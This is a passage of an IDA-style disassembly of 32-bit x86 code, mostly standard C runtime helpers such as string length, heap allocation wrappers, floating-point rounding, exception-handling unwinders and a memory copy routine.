eax, 81010100h jz short loc_417AD0 mov eax, [ecx-4] test al, al jz short loc_417B21 test ah, ah jz short loc_417B17 test eax, 0FF0000h jz short loc_417B0D test eax, 0FF000000h jz short loc_417B03 jmp short loc_417AD0 ; --------------------------------------------------------------------------- loc_417B03: ; CODE XREF: sub_417AB0+11j ; sub_417AB0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B0D: ; CODE XREF: sub_417AB0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B17: ; CODE XREF: sub_417AB0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_417B21: ; CODE XREF: sub_417AB0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_417AB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_417B30 proc near ; CODE XREF: sub_402688+8p ; sub_402B84+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_417B50 loc_417B3C: ; CODE XREF: sub_417B30+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_417B3C loc_417B50: ; CODE XREF: sub_417B30+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_417B30 endp ; =============== S U B R O U T I N E ======================================= sub_417B5F proc near ; CODE XREF: sub_4029E9+7Ap ; sub_4029E9+8Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, eax cmp word ptr [eax], 0 jz short loc_417B73 loc_417B6B: ; CODE XREF: sub_417B5F+12j inc ecx inc ecx cmp word ptr [ecx], 0 jnz short loc_417B6B loc_417B73: ; CODE XREF: sub_417B5F+Aj mov edx, [esp+arg_4] push esi loc_417B78: ; CODE XREF: sub_417B5F+26j mov si, [edx] mov [ecx], si inc ecx inc ecx inc edx inc edx test si, si jnz short loc_417B78 pop esi retn sub_417B5F endp ; =============== S U B R O U T I N E ======================================= sub_417B89 proc near ; CODE XREF: sub_402B84+220p ; sub_402DD7+C1p ... arg_0 = dword ptr 4 push dword_48A074 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_417B89 endp ; =============== S U B R O U T I N E ======================================= sub_417B9B proc near ; CODE XREF: sub_417B89+Ap ; sub_4185F5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_417BC4 loc_417BA2: ; CODE XREF: sub_417B9B+27j push [esp+arg_0] call sub_417BC7 test eax, eax pop ecx jnz short locret_417BC6 cmp [esp+arg_4], eax jz short locret_417BC6 push [esp+arg_0] call sub_41AB54 test eax, eax pop ecx jnz short loc_417BA2 loc_417BC4: ; CODE XREF: sub_417B9B+5j xor eax, eax locret_417BC6: ; CODE XREF: sub_417B9B+13j ; sub_417B9B+19j retn sub_417B9B endp ; =============== S U B R O U T I N E ======================================= sub_417BC7 proc near ; CODE XREF: sub_417B9B+Bp arg_0 = dword ptr 4 mov eax, dword_48B688 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_417BEB cmp esi, dword_48B680 ja short loc_417C1D push esi call sub_41B0DD test eax, eax pop ecx jz short loc_417C1D pop esi retn ; --------------------------------------------------------------------------- loc_417BEB: ; CODE XREF: sub_417BC7+Dj cmp eax, 2 jnz short loc_417C1D mov eax, [esp+4+arg_0] test eax, eax jz short loc_417C00 lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_417C03 ; --------------------------------------------------------------------------- loc_417C00: ; CODE XREF: sub_417BC7+2Fj push 10h pop esi loc_417C03: ; CODE XREF: sub_417BC7+37j cmp esi, dword_43B7E4 ja short loc_417C2A mov eax, esi shr eax, 4 push eax call sub_41BB80 test eax, eax pop ecx jnz short loc_417C39 jmp short loc_417C2A ; --------------------------------------------------------------------------- loc_417C1D: ; CODE XREF: sub_417BC7+15j ; sub_417BC7+20j ... test esi, esi jnz short loc_417C24 push 1 pop esi loc_417C24: ; CODE XREF: sub_417BC7+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_417C2A: ; CODE XREF: sub_417BC7+42j ; sub_417BC7+54j push esi push 0 push dword_48B684 nop call near ptr 26F0000h loc_417C39: ; CODE XREF: sub_417BC7+52j pop esi retn sub_417BC7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417C3B proc near ; CODE XREF: sub_402DD7+10Ep ; sub_402DD7+116p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_417CA1 mov eax, dword_48B688 cmp eax, 3 jnz short loc_417C67 push esi call sub_41AD89 pop ecx test eax, eax push esi jz short loc_417C93 push eax call sub_41ADB4 pop ecx pop ecx jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C67: ; CODE XREF: sub_417C3B+14j cmp eax, 2 jnz short loc_417C92 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41BAE4 add esp, 0Ch test eax, eax jz short loc_417C92 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41BB3B add esp, 0Ch jmp short loc_417CA1 ; --------------------------------------------------------------------------- loc_417C92: ; CODE XREF: sub_417C3B+2Fj ; sub_417C3B+44j push esi loc_417C93: ; CODE XREF: sub_417C3B+20j push 0 push dword_48B684 call near ptr 26E0000h nop loc_417CA1: ; CODE XREF: sub_417C3B+Aj ; sub_417C3B+2Aj ... pop esi leave retn sub_417C3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417CA4(double) sub_417CA4 proc near ; CODE XREF: sub_403FE6+38p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439560 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417D2A call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417D0D cmp eax, 2 jle short loc_417CFF cmp eax, 3 jnz short loc_417D0D fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Bh ; double call sub_41BF55 add esp, 10h jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417CFF: ; CODE XREF: sub_417CA4+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D0D: ; CODE XREF: sub_417CA4+3Aj ; sub_417CA4+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Bh push 8 jmp short loc_417D67 ; --------------------------------------------------------------------------- loc_417D2A: ; CODE XREF: sub_417CA4+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417D4D loc_417D3F: ; CODE XREF: sub_417CA4+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417D6F ; --------------------------------------------------------------------------- loc_417D4D: ; CODE XREF: sub_417CA4+99j test bl, 20h jnz short loc_417D3F fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Bh ; int push 10h ; int loc_417D67: ; CODE XREF: sub_417CA4+84j call sub_41BFA8 add esp, 1Ch loc_417D6F: ; CODE XREF: sub_417CA4+59j ; sub_417CA4+67j ... pop esi pop ebx leave retn sub_417CA4 endp ; =============== S U B R O U T I N E ======================================= sub_417D73 proc near ; CODE XREF: ___:00419AC1p ; DATA XREF: ___:off_43956Co call sub_417D8B call sub_41C846 mov dword_489FF4, eax call sub_41C7F6 fnclex retn sub_417D73 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_417D8B proc near ; CODE XREF: sub_417D73p mov eax, offset sub_41CC34 mov off_43B904, offset sub_41C8C9 mov off_43B900, eax mov off_43B908, offset sub_41C92F mov off_43B90C, offset sub_41C86F mov off_43B910, offset sub_41C917 mov off_43B914, eax retn sub_417D8B endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417DC4 proc near ; CODE XREF: sub_403FE6+1Bp ; sub_403FE6+44p ... var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 push ebp mov ebp, esp add esp, 0FFFFFFF4h fstcw [ebp+var_2] wait mov ax, [ebp+var_2] or ah, 0Ch mov [ebp+var_4], ax fldcw [ebp+var_4] fistp [ebp+var_C] fldcw [ebp+var_2] mov eax, dword ptr [ebp+var_C] mov edx, dword ptr [ebp+var_C+4] leave retn sub_417DC4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_417DEB(double) sub_417DEB proc near ; CODE XREF: sub_404032+82p ; ___:00404CF0p var_24 = qword ptr -24h var_18 = qword ptr -18h var_8 = qword ptr -8 arg_0 = qword ptr 8 push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, 0FFFFh push esi push dword_439578 call sub_41C77D fld [ebp+arg_0] pop ecx mov ebx, eax mov eax, dword ptr [ebp+arg_0+6] pop ecx push ecx and ax, 7FF0h push ecx cmp ax, 7FF0h fstp [esp+18h+var_18] jnz short loc_417E71 call sub_41C645 pop ecx test eax, eax pop ecx jle short loc_417E54 cmp eax, 2 jle short loc_417E46 cmp eax, 3 jnz short loc_417E54 fld [ebp+arg_0] push ebx push ecx ; int push ecx fstp qword ptr [esp] push 0Ch ; double call sub_41BF55 add esp, 10h jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E46: ; CODE XREF: sub_417DEB+3Fj push esi push ebx call sub_41C77D fld [ebp+arg_0] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E54: ; CODE XREF: sub_417DEB+3Aj ; sub_417DEB+44j fld [ebp+arg_0] fadd dbl_4246A8 push ebx push ecx ; double push ecx fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx fstp [esp+24h+var_24] push 0Ch push 8 jmp short loc_417EAE ; --------------------------------------------------------------------------- loc_417E71: ; CODE XREF: sub_417DEB+2Fj call sub_41C60A fstp [ebp+var_8] fld [ebp+var_8] fcomp [ebp+arg_0] pop ecx pop ecx fnstsw ax sahf jnz short loc_417E94 loc_417E86: ; CODE XREF: sub_417DEB+ACj push esi push ebx call sub_41C77D fld [ebp+var_8] pop ecx pop ecx jmp short loc_417EB6 ; --------------------------------------------------------------------------- loc_417E94: ; CODE XREF: sub_417DEB+99j test bl, 20h jnz short loc_417E86 fld [ebp+var_8] push ebx ; int push ecx push ecx ; double fstp qword ptr [esp] fld [ebp+arg_0] push ecx push ecx ; double fstp [esp+24h+var_24] push 0Ch ; int push 10h ; int loc_417EAE: ; CODE XREF: sub_417DEB+84j call sub_41BFA8 add esp, 1Ch loc_417EB6: ; CODE XREF: sub_417DEB+59j ; sub_417DEB+67j ... pop esi pop ebx leave retn sub_417DEB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417EBA proc near ; CODE XREF: ___:0041D116p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov eax, [ebp+arg_4] add eax, 0Ch mov [ebp+var_4], eax mov ebx, large fs:0 mov eax, [ebx] mov large fs:0, eax mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esp, [ebx-4] mov ebp, [ebp+var_4] jmp eax sub_417EBA endp ; --------------------------------------------------------------------------- pop edi pop esi pop ebx leave retn 8 ; =============== S U B R O U T I N E ======================================= sub_417EEE proc near ; CODE XREF: sub_41D256+199p ; sub_41D41A+3Ep arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EEE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_417EF5 proc near ; CODE XREF: sub_41D256+17Fp arg_4 = dword ptr 8 pop eax pop ecx xchg eax, [esp-8+arg_4] jmp eax sub_417EF5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_417EFC proc near ; CODE XREF: sub_4180AE+5Cp ; sub_41D0A5:loc_41D0D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov eax, large fs:0 mov [ebp+var_8], eax mov [ebp+var_4], offset loc_417F24 push 0 push [ebp+arg_4] push [ebp+var_4] push [ebp+arg_0] call sub_422A4C sub_417EFC endp ; --------------------------------------------------------------------------- loc_417F24: ; DATA XREF: sub_417EFC+11o mov eax, [ebp+0Ch] mov eax, [eax+4] and al, 0FDh mov ecx, [ebp+0Ch] mov [ecx+4], eax mov eax, large fs:0 mov ebx, [ebp-8] mov [ebx], eax mov large fs:0, ebx pop edi pop esi pop ebx leave retn 8 ; --------------------------------------------------------------------------- loc_417F4B: ; CODE XREF: ___:004230ECj ; ___:00423109j ... push ebp mov ebp, esp sub esp, 4 push ebx push esi push edi cld mov [ebp-4], eax xor eax, eax push eax push eax push eax push dword ptr [ebp-4] push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] call sub_41CCAA add esp, 20h mov [ebp+14h], eax pop edi pop esi pop ebx mov eax, [ebp+14h] mov esp, ebp pop ebp retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417F81 proc near ; CODE XREF: sub_41D120+73p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_4] and [ebp+var_14], 0 mov ecx, [ebp+arg_0] mov [ebp+var_C], eax mov eax, [ebp+arg_C] mov [ebp+var_10], offset sub_417FD5 inc eax mov [ebp+var_8], ecx mov [ebp+var_4], eax mov eax, large fs:0 mov [ebp+var_14], eax lea eax, [ebp+var_14] mov large fs:0, eax push [ebp+arg_10] push ecx push [ebp+arg_8] call sub_41D4B0 mov ecx, eax mov eax, [ebp+var_14] mov large fs:0, eax mov eax, ecx leave retn sub_417F81 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FD5 proc near ; DATA XREF: sub_417F81+16o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cld mov eax, [ebp+arg_4] push 0 push eax push dword ptr [eax+10h] push dword ptr [eax+8] push 0 push [ebp+arg_8] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h pop ebp retn sub_417FD5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_417FFA proc near ; CODE XREF: sub_41CEEC+25p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 34h push ebx push esi push edi and [ebp+var_28], 0 mov [ebp+var_24], offset sub_4180AE mov eax, [ebp+arg_10] mov [ebp+var_20], eax mov eax, [ebp+arg_4] mov [ebp+var_1C], eax mov eax, [ebp+arg_14] mov [ebp+var_18], eax mov eax, [ebp+arg_18] mov [ebp+var_14], eax and [ebp+var_10], 0 and [ebp+var_C], 0 and [ebp+var_8], 0 and [ebp+var_4], 0 mov [ebp+var_10], offset loc_418080 mov [ebp+var_C], esp mov [ebp+var_8], ebp mov eax, large fs:0 mov [ebp+var_28], eax lea eax, [ebp+var_28] mov large fs:0, eax mov [ebp+var_34], 1 mov eax, [ebp+arg_0] mov [ebp+var_30], eax mov eax, [ebp+arg_8] mov [ebp+var_2C], eax lea eax, [ebp+var_30] push eax mov eax, [ebp+arg_0] push dword ptr [eax] call dword_48A098 pop ecx pop ecx and [ebp+var_34], 0 loc_418080: ; DATA XREF: sub_417FFA+3Co cmp [ebp+var_4], 0 jz short loc_41809D mov ebx, large fs:0 mov eax, [ebx] mov ebx, [ebp+var_28] mov [ebx], eax mov large fs:0, ebx jmp short loc_4180A6 ; --------------------------------------------------------------------------- loc_41809D: ; CODE XREF: sub_417FFA+8Aj mov eax, [ebp+var_28] mov large fs:0, eax loc_4180A6: ; CODE XREF: sub_417FFA+A1j mov eax, [ebp+var_34] pop edi pop esi pop ebx leave retn sub_417FFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4180AE proc near ; DATA XREF: sub_417FFA+Do arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi push edi cld mov eax, [ebp+arg_0] mov eax, [eax+4] and eax, 66h test eax, eax jz short loc_4180D1 mov eax, [ebp+arg_4] mov dword ptr [eax+24h], 1 push 1 pop eax jmp short loc_41811E ; --------------------------------------------------------------------------- loc_4180D1: ; CODE XREF: sub_4180AE+12j push 1 mov eax, [ebp+arg_4] push dword ptr [eax+14h] mov eax, [ebp+arg_4] push dword ptr [eax+10h] mov eax, [ebp+arg_4] push dword ptr [eax+8] push 0 push [ebp+arg_8] mov eax, [ebp+arg_4] push dword ptr [eax+0Ch] push [ebp+arg_0] call sub_41CCAA add esp, 20h mov eax, [ebp+arg_4] cmp dword ptr [eax+24h], 0 jnz short loc_41810F push [ebp+arg_0] push [ebp+arg_4] call sub_417EFC ; --------------------------------------------------------------------------- loc_41810F: ; CODE XREF: sub_4180AE+54j mov ebx, [ebp+arg_4] mov esp, [ebx+1Ch] mov ebp, [ebx+20h] jmp dword ptr [ebx+18h] ; --------------------------------------------------------------------------- push 1 pop eax loc_41811E: ; CODE XREF: sub_4180AE+21j pop edi pop esi pop ebx pop ebp retn sub_4180AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418123 proc near ; CODE XREF: sub_41CD45+C6p ; sub_41CEEC+43p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push ecx push ebx push esi cmp [ebp+arg_4], 0 push edi mov edi, [ebp+arg_0] mov esi, [edi+0Ch] mov ebx, [edi+10h] mov eax, esi mov [ebp+arg_0], esi mov [ebp+var_4], eax jl short loc_41817A loc_418141: ; CODE XREF: sub_418123+52j cmp esi, 0FFFFFFFFh jnz short loc_41814B call sub_41D552 loc_41814B: ; CODE XREF: sub_418123+21j mov ecx, [ebp+arg_8] dec esi lea eax, [esi+esi*4] cmp [ebx+eax*4+4], ecx lea eax, [ebx+eax*4] jge short loc_418160 cmp ecx, [eax+8] jle short loc_418165 loc_418160: ; CODE XREF: sub_418123+36j cmp esi, 0FFFFFFFFh jnz short loc_418171 loc_418165: ; CODE XREF: sub_418123+3Bj mov eax, [ebp+arg_0] dec [ebp+arg_4] mov [ebp+var_4], eax mov [ebp+arg_0], esi loc_418171: ; CODE XREF: sub_418123+40j cmp [ebp+arg_4], 0 jge short loc_418141 mov eax, [ebp+var_4] loc_41817A: ; CODE XREF: sub_418123+1Cj mov ecx, [ebp+arg_C] inc esi mov [ecx], esi mov ecx, [ebp+arg_10] mov [ecx], eax cmp eax, [edi+0Ch] ja short loc_41818E cmp esi, eax jbe short loc_418193 loc_41818E: ; CODE XREF: sub_418123+65j call sub_41D552 loc_418193: ; CODE XREF: sub_418123+69j lea eax, [esi+esi*4] pop edi pop esi lea eax, [ebx+eax*4] pop ebx leave retn sub_418123 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_4181A0 proc near ; CODE XREF: sub_41F774+5Ap arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx push esi push edi push ebp push 0 push 0 push offset sub_4181B8 push [ebp+arg_0] call sub_422A4C sub_4181A0 endp ; =============== S U B R O U T I N E ======================================= sub_4181B8 proc near ; DATA XREF: sub_4181A0+Bo pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4181B8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4181C0 proc near ; DATA XREF: sub_4181E2+Ao ; sub_41824A+9o arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_C = dword ptr 10h mov ecx, [esp+arg_0] test dword ptr [ecx+4], 6 mov eax, 1 jz short locret_4181E1 mov eax, [esp+arg_4] mov edx, [esp+arg_C] mov [edx], eax mov eax, 3 locret_4181E1: ; CODE XREF: sub_4181C0+10j retn sub_4181C0 endp ; =============== S U B R O U T I N E ======================================= sub_4181E2 proc near ; CODE XREF: sub_41D1C6+Dp ; sub_41F774+67p ... var_14 = dword ptr -14h arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi push edi mov eax, [esp+0Ch+arg_0] push eax push 0FFFFFFFEh push offset sub_4181C0 push large dword ptr fs:0 mov large fs:0, esp loc_4181FF: ; CODE XREF: sub_4181E2:loc_41823Aj mov eax, [esp+1Ch+arg_0] mov ebx, [eax+8] mov esi, [eax+0Ch] cmp esi, 0FFFFFFFFh jz short loc_41823C cmp esi, [esp+1Ch+arg_4] jz short loc_41823C lea esi, [esi+esi*2] mov ecx, [ebx+esi*4] mov [esp+1Ch+var_14], ecx mov [eax+0Ch], ecx cmp dword ptr [ebx+esi*4+4], 0 jnz short loc_41823A push 101h mov eax, [ebx+esi*4+8] call sub_418276 call dword ptr [ebx+esi*4+8] loc_41823A: ; CODE XREF: sub_4181E2+44j jmp short loc_4181FF ; --------------------------------------------------------------------------- loc_41823C: ; CODE XREF: sub_4181E2+2Aj ; sub_4181E2+30j pop large dword ptr fs:0 add esp, 0Ch pop edi pop esi pop ebx retn sub_4181E2 endp ; =============== S U B R O U T I N E ======================================= sub_41824A proc near ; CODE XREF: sub_41D1E6+37p xor eax, eax mov ecx, large fs:0 cmp dword ptr [ecx+4], offset sub_4181C0 jnz short locret_41826C mov edx, [ecx+0Ch] mov edx, [edx+0Ch] cmp [ecx+8], edx jnz short locret_41826C mov eax, 1 locret_41826C: ; CODE XREF: sub_41824A+10j ; sub_41824A+1Bj retn sub_41824A endp ; =============== S U B R O U T I N E ======================================= sub_41826D proc near ; CODE XREF: sub_41D4B0+1Ep ; sub_41D4B0+40p push ebx push ecx mov ebx, offset dword_43957C jmp short loc_418280 sub_41826D endp ; =============== S U B R O U T I N E ======================================= sub_418276 proc near ; CODE XREF: sub_4181E2+4Fp ; sub_41F774+78p push ebx push ecx mov ebx, offset dword_43957C mov ecx, [ebp+8] loc_418280: ; CODE XREF: sub_41826D+7j mov [ebx+8], ecx mov [ebx+4], eax mov [ebx+0Ch], ebp pop ecx pop ebx retn 4 sub_418276 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418290 proc near ; CODE XREF: sub_404032+5p ; sub_4041D4+5p ... push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_418290 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4182AF proc near ; CODE XREF: sub_404667+26p ; ___:004227E2p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_417C3B pop ecx retn sub_4182AF endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4182C0 proc near ; CODE XREF: sub_4046D8+3Ap ; sub_41ADB4+2EFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi mov esi, [ebp+arg_4] mov ecx, [ebp+arg_8] mov edi, [ebp+arg_0] mov eax, ecx mov edx, ecx add eax, esi cmp edi, esi jbe short loc_4182E0 cmp edi, eax jb loc_418458 loc_4182E0: ; CODE XREF: sub_4182C0+16j test edi, 3 jnz short loc_4182FC shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- loc_4182FC: ; CODE XREF: sub_4182C0+26j mov eax, edi mov edx, 3 sub ecx, 4 jb short loc_418314 and eax, 3 add ecx, eax jmp dword ptr loc_41831C+4[eax*4] ; --------------------------------------------------------------------------- loc_418314: ; CODE XREF: sub_4182C0+46j jmp dword ptr loc_418418[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41831C: ; CODE XREF: sub_4182C0+31j ; sub_4182C0+8Ej ... jmp off_41839C[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_41832C+4 dd offset loc_41835C ; --------------------------------------------------------------------------- loc_41832C: ; DATA XREF: sub_4182C0+64o add byte ptr [ebx-2EDCFFBFh], 8Ah push es mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al add esi, 3 add edi, 3 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 loc_41835C: ; DATA XREF: sub_4182C0+68o and edx, ecx mov al, [esi] mov [edi], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al add esi, 2 add edi, 2 cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 10h and edx, ecx mov al, [esi] mov [edi], al inc esi shr ecx, 2 inc edi cmp ecx, 8 jb short loc_41831C rep movsd jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_41839C dd offset loc_4183FF ; DATA XREF: sub_4182C0:loc_41831Cr dd offset loc_4183EC dd offset loc_4183E4 dd offset loc_4183DC dd offset loc_4183D4 dd offset loc_4183CC dd offset loc_4183C4 dd offset loc_4183BC ; --------------------------------------------------------------------------- loc_4183BC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F8o mov eax, [esi+ecx*4-1Ch] mov [edi+ecx*4-1Ch], eax loc_4183C4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F4o mov eax, [esi+ecx*4-18h] mov [edi+ecx*4-18h], eax loc_4183CC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+F0o mov eax, [esi+ecx*4-14h] mov [edi+ecx*4-14h], eax loc_4183D4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+ECo mov eax, [esi+ecx*4-10h] mov [edi+ecx*4-10h], eax loc_4183DC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E8o mov eax, [esi+ecx*4-0Ch] mov [edi+ecx*4-0Ch], eax loc_4183E4: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E4o mov eax, [esi+ecx*4-8] mov [edi+ecx*4-8], eax loc_4183EC: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0+E0o mov eax, [esi+ecx*4-4] mov [edi+ecx*4-4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_4183FF: ; CODE XREF: sub_4182C0:loc_41831Cj ; DATA XREF: sub_4182C0:off_41839Co jmp off_418408[edx*4] ; --------------------------------------------------------------------------- align 4 off_418408 dd offset loc_418418 ; DATA XREF: sub_4182C0+35r ; sub_4182C0+92r ... dd offset loc_418420 dd offset loc_41842C dd offset loc_418440 ; --------------------------------------------------------------------------- loc_418418: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418420: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_41842C: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 10h loc_418440: ; CODE XREF: sub_4182C0+35j ; sub_4182C0+92j ... mov al, [esi] mov [edi], al mov al, [esi+1] mov [edi+1], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_418458: ; CODE XREF: sub_4182C0+1Aj lea esi, [ecx+esi-4] lea edi, [ecx+edi-4] test edi, 3 jnz short loc_41848C shr ecx, 2 and edx, 3 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] 